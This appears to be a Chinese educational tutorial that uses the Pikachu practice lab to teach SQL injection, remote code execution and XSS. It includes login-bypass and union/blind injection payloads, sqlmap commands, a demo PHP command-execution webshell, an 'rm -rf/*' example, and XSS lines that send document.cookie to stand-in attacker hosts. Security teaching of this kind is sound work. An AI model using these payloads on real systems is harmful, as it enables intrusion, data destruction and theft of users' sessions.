【网络安全】护网系列-web漏洞(SQl、RCE、XSS)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
简介: 【网络安全】护网系列-web漏洞(SQl、RCE、XSS)

三、Web安全-漏洞

1. SQL 注入

1.1 pikachu靶场环境安装

下载地址:https://github.com/zhuifengshaonianhanlu/pikachu

1、下载pikachu-master安装包

2、在phpstudy的www目录下解压

image-20230714220342737.png

3、更改WWW\pikachu-master\inc 目录下的config.inc.php文件

1.png

4、开启phpstudy,在浏览器中访问网站

开启小皮服务

image-20230714222159773.png

如果在物理机,需要先把mysql服务关掉,然后打开小皮启动mysql

services.msc

image-20230714222059259.png

2.png

访问成功

image-20230714222420534.png

5、初始化成功

image-20230714223647466.png

1.2 SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。

导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行

从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。

1.3 判断注入点

漏洞可能存在的地方

1.3.1 登录框

万能密码

假设原验证登陆语句:

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'

输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'

不管密码是什么都能登录成功,达到后面的语句无论是什么都不会被提交

image-20230714224339531.png

优先级or > and > not

1.3.2 查询

image-20230714224711890.png

1.3.3 订单处理

在类似淘宝订单提交处,有一个控制id提交的地方,可能存在SQL注入

1.3.4 获取http头功能点

X-forward-for字段可能将数据记录进数据库,存在数据交互

cookie也会存放到数据库,有cookie的地方也有注入

user-Agent也可能把浏览器的指纹信息放到数据库

Referer字段也可能

1.4 注入点查看

1.报错注入

有注入一定有响应,通过页面的报错信息判断

2.盲注(页面不返回错误信息)

1.布尔盲注
    一般通过
    1‘and 1=1#
    判断
    还可以观察字节长度来判断结果

    不成立的时候返回的是同一个页面,成立是另一个
2.时间盲注
    kobe'+and+sleep(5)--+
    如果成立的话延时5秒再反应,判断是否有注入

image-20230714225851920.png

1.5 SQL注入常见类型

报错注入


1、报错函数  
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string 

ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+

盲注


盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:kobe'+and+ascii(substr(database(),2,1))=105--+

1.5.1 sql查询

除了查看数据库 还有会使用到的其他函数:

1、user()查当前的用户为:user() =>select user();

2、 Version();当前 mysql 的版本

union select 1,2,version()

3、 Database();当前网站使用的数据库

union select 1,2,database()

4、 User();当前 MySQL 的用户

union select 1,2,user()

5、 system_user(); 系统用户名

6、session_user();连接数据库的用户名

7、current_user;当前用户名

8、load_file();读取本地文件

9、@@datadir:读取数据库路径

10、@@basedir:mysql安装路径

9、length(str) : 返回给定字符串的长度,如 length(“string”)=6

10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

11、concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接

12、group_concat(username) :将username数据查询在一起,用逗号连接

Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

1.5.2 联合查询

information_schema.schemata:
该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库

information_schema.tables:
该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集

information_schema.columns:
该数据表存储了mysql数据库中的所有列的列名
字段
a' order by 1#
获取表
a' union select table schema,table name frominformation schema.tables where table schema='pikachu'#
获取字段
a' union select table name,column name frominformation schema.columns where table name='users'#
union select username,password from users#

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'

1.6 waf绕过和sqlmap使用

1.6.1 waf绕过

1、等于号:
2、Substr,mid等
3、逗号  
4、And/or
(1)WAF概念

WEB应用防护系统(Web Application Firewall)简称WAF,

是通过WEB应用防火墙专门针对HTTP/HTTPS的安全策略来为Web应用提供保护的一款产品

在网站防护上WAF对比传统的防火墙有更加有效的防护效果。

(2)WAF主要功能

1、可拦截常见的web漏洞攻击,例如SQL注入、XSS跨站、获取敏感信息、利用开源组件漏洞的攻击等常见的攻击行为。

2、可提供0Day,NDay漏洞防护。当发现有未公开的0Day漏洞或者刚公开但未修复的NDay漏洞被利用时,WAF可以在发现漏洞到用户修复漏洞这段空档期对漏洞增加虚拟补丁,抵挡黑客的攻击,防护网站安全。

3、可以对访问请求进行控制,可以主动识别、阻断攻击流量,就如现在智能化的AI,可以发觉安全威胁对其主动进行防御。不限制于被动状态下的规则和策略去防护。

4、可以实时阻断黑客通过web漏洞试图入侵服务器、危害用户等恶意行为。

(3)WAF工作原理

WAF工作方式是对接收到的数据包进行正则匹配过滤

如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。

所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。

1.6.2 扫描语法

1、-u 指定目标url

2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。

3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包-->将请求复制到txt中即可)

4、-p "username,id" # 指定要扫描的参数

5、--proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标

6、--force-ssl # 使用HTTPS连接进行扫描

7、--delay="3" # 每次http请求之间的延迟时间,默认无延迟

8、--timeout="10" # 请求超时时间,浮点数,默认为30秒

9、--level

2:检测cookie中是否含有注入
3:检测user-agent、referer是否含有注入
5:检测host是否含有注入

10、--risk 默认1,最高4,等级高容易造成数据被篡改风险

11、--threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性

12、--dbms="Mysql" # 指定数据库类型,还可以加上版本 Mysql

13、--os="Windows" # 指定操作系统,还可以是Linux

1.6.3 查询语法

  1. --users # 查询所有的数据库账号

  2. --dbs # 查询所有数据库

  3. --schema # 查询源数据库(包含定义数据的数据)

  4. -a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

  5. -D dvwa# 指定数据库

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables

    -T 是查看某个数据表

    --columns 查看的表中的所有字段

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns

    --dump 查看所有字段的内容

  1. --current-user # 查询当前数据库用户

  2. --current-db # 查询当前数据库

  3. --hostname # 查看服务器的主机名

    1. --columns # 查看所有的字段
  4. --tables # 查看所有的表

2.远程代码执行漏洞RCE(核弹级)

RCE(任意代码执行漏洞)

Web服务

远程代码执行漏洞是因为前后端项目(黄色部分)出现漏洞,它不像常见的漏洞

它可以执行任何的命令,权限非常高,危害严重

image-20230715213918517.png

2.1 RCE概述

2.1.1 含义

所有漏洞中危害等级最高的漏洞

含义:程序中预留了一个执行代码/命令的接口,地址的参数又可以通过前端url参数或者界面中的输入框指定,最终导致该接口被利用,控制服务器

2.1.2 PHP演示

首先将一个PHP文件放到小皮更目录下

image-20230715214707832.png

然后打开这个php

<?php
$html='';
if(isset({
   
   mathJaxContainer[2]}_POST['cmd'] != null){
   
   
    {
   
   mathJaxContainer[3]}_POST['cmd']);
    // $html.=shell_exec($_GET['id']);
}
?>

<div id="comm_main">
    <p class="comm_title">超级运维管理后台</p>
    <form method="post">
        <input class="ipadd" type="text" name="cmd" />
        <input class="sub" type="submit" name="submit" value="提交" />
    </form>
</div>
<?php echo $html;?>

最核心的函数是shell_exec,它可以从前端参数拿到一个cmd的值,并且执行它

然后打开网页

image-20230715221319253.png

在输入任意一个命令

ipconfig

会看到显示了IP信息

image-20230715221426115.png

image-20230715221911199.png

同时,也可以执行Linux操作系统的命令

比如输入命令,清理所有内容

rm -rf/*
不区分两个含义
RCE=
Remote Code Execute 远程代码执行
Remote Command Execute 远程命令执

2.1.3 危害

1、窃取服务器的敏感数据、文件

2、对电脑的文件加密,实施勒索

3、运行恶意代码,比如挖矿程序

4、拒绝服务

5、作为跳板机攻击其他人

2.1.4 漏洞价值

白帽黑客成功找到Zoom的远程代码执行漏洞 获得20万美元奖励
https://baijiahao.baidu.com/s?id=1696628704159847927
微软给360白帽黑客发20万美元漏洞挖掘奖励
https://baijiahao.baidu.com/s?id=1621984874665303330
Google 提高 Android 13 漏洞赏金,最高 150 万美元
https://www.51cto.com/article/708026.html

2.1.5 漏洞发送前提

1、系统或者软件代码中使用了执行命令的函数(exec)

2、执行的命令是可以通过参数控制的(前端传参)

3、有一个可以在外网可以访问的入口(做目录扫描发现的地址)

2.2 RCE案例

2.2.1 常见RCE漏洞成因

不一定要自己调用方法,可以编写一个恶意代码,诱导服务器将木马下载下来

image-20230715223430769.png

RCE漏洞是结果

2.2.2 RCE漏洞典型案例

网上搜索一下关键词,都有漏洞相关文章

微信RCE漏洞
OfficeRCE漏洞

image-20230715224020147.png

2.3 RCE挖掘

公开的可以使用Nday,复现RCE漏洞

2.3.1 分析方法

1、黑盒
只给一个ip、域名

抓包中出现了以下参数名,可能存在漏洞

exec=?、command=?、execute?、ping=?、
include=?、exclude=?、jump=?、code=?、reg=?、
do=?、func=?、arg=?、option=?、load=?、
process=?、step=?、read=?、function=?、req=?、
feature=?、exe=?、module=?、payload=?、run=?、
print=?

image-20230715225033521.png

用漏洞扫描软件可以更加全面

2、白盒、逆向
公司在产品上线前做代码审计,直接能看到源码

直接在代码中搜索这些内容,看在哪些地方被调用

相关函数
PHP
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、
eval()……

Java
Runtime.getRuntime().exec()…… 

Python
os.system()、os.popen()、subprocess.call()、os.spawn()……

还可以通过everthing搜索

选择高级搜索

image-20230715225532220.png

安全相关社区、论坛

freebuf
t00ls
看雪
卡饭
先知
微步
吾爱

2.4 RCE防御

2.4.1 防御思路

1、从入口(HTTP流量)防御(自研)
2、产品升级(开源、采购或者使用第三方组件)
3、白名单(命令、IP)
4、安全产品(waf,花钱,联网更新)
5、编码、配置角度(关闭高危函数)

有些漏洞发生在客户端,只能使用强制更新才能使用,来修补漏洞

2.4.2 常见绕过思路

等价函数 
大小写绕过 
双写绕过 
编码绕过 
特殊字符绕过
…… https://blog.csdn.net/qq_41315957/article/details/118855865

3. XSS漏洞

XSS,即跨站脚本攻击

是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本

(通常是一段由JavaScript编写的恶意代码

当信任此Web服务器的用户访问 Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。

XSS分类一般如下:

1、反射型XSS 
2、存储型XSS 
3、DOM型XSS
JS可以干嘛

alert(1) //弹出1 
    <script>alert(1)</script>

alert(document.cookie) //弹出当前cookie 
    <script>alert(document.cookie)</script>

document.location = 'http://www.baidu.com' 

。。。。。(JS代码可以随便写想干嘛就干嘛)

3.1 反射型XSS漏洞

反射型XSS,也称为非持久性XSS,是最常见的一种XSS

低危漏洞,没什么用

image-20230716202521675.png

打开pikachu靶场,我们选择Cross-Site-Scripting下的反射型(get)

输入1

返回

image-20230716204507377.png

提交kobe,返回正确的值

image-20230716204401544.png

我们打开检查

image-20230716204707753.png

现在尝试输入

<script>alert(1)</script>

发现输入框被限制长度

image-20230716204820853.png

我们把它长度改为200

image-20230716204920618.png

然后提交,确实出现弹窗,JS代码被执行

image-20230716205033065.png

会发现,代码已经被嵌入进去,被当成JS解析

image-20230716205132275.png

但是刷新一次页面,JS代码会消失,服务器不会永远存在(反射型XSS)

3.2 存储型XSS漏洞

存储型XSS,也称为持久性XSS,JS代码会存在后台

image-20230716205401024.png

我们输入的记录,它会保存下来

image-20230716205525756.png

现在尝试输入JS代码

<script>alert(1)</script>

嵌入到服务器中,每次提交数据都会执行JS代码

永久性保存到服务器

image-20230716205802375.png

3.3 DOM型XSS漏洞

DOM型XSS,其实也是一种反射型,但是输入的语句不是JS的语句,是DOM语法

image-20230716205946862.png

DOM全称Document Object Model

是一个与平台、编程语言无关的接口

它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分

我们输入123123

会发现被写入标签中

image-20230716210446988.png

DOM型没有太大危害,也没法被利用

image-20230716210727967.png

3.4 利用XSS如何实现攻击

image-20230716210826375.png

将电脑的cookie信息发送到xxx.com上

document.location = 'http://www.xxx.com/cookie.php?cookie='+document.cookie;

image-20230716210933183.png

用户会访问该页面,浏览器会将用户的kookie信息发送到黑客电脑

image-20230716211048966.png

案例

假设用户界面是首页

image-20230716211420513.png

黑客页面是XSS后台

image-20230716211501449.png

image-20230716211602374.png

黑客后台

image-20230716211656954.png

通过这里才看到搜集的cookie

image-20230716211718915.png

这里是黑客接收cookie的页面

image-20230716212043298.png

下面JS代码是将跳转的黑客的页面,并将cookie发过去,谁访问该页面,就将cookie发过去

<script>document.location = 'http://xss.com/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

我们在黑客的页面提交

image-20230716212642724.png

提交之后,在用户的界面看到留言

image-20230716212752069.png

然后去查看cookie结果

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
20天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
42 2
|
28天前
|
SQL 安全 前端开发
让你彻底了解SQL注入、XSS和CSRF
了解SQL注入、XSS和CSRF
44 7
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
83 4
|
1月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
66 2
|
1月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
81 3
|
2月前
|
安全 网络协议 算法
HTTPS网络通信协议揭秘:WEB网站安全的关键技术
HTTPS网络通信协议揭秘:WEB网站安全的关键技术
195 4
HTTPS网络通信协议揭秘:WEB网站安全的关键技术
|
1月前
|
Kubernetes 网络协议 Python
Python网络编程:从Socket到Web应用
在信息时代,网络编程是软件开发的重要组成部分。Python作为多用途编程语言,提供了从Socket编程到Web应用开发的强大支持。本文将从基础的Socket编程入手,逐步深入到复杂的Web应用开发,涵盖Flask、Django等框架的应用,以及异步Web编程和微服务架构。通过本文,读者将全面了解Python在网络编程领域的应用。
31 1
|
1月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
35 0
|
2月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
138 5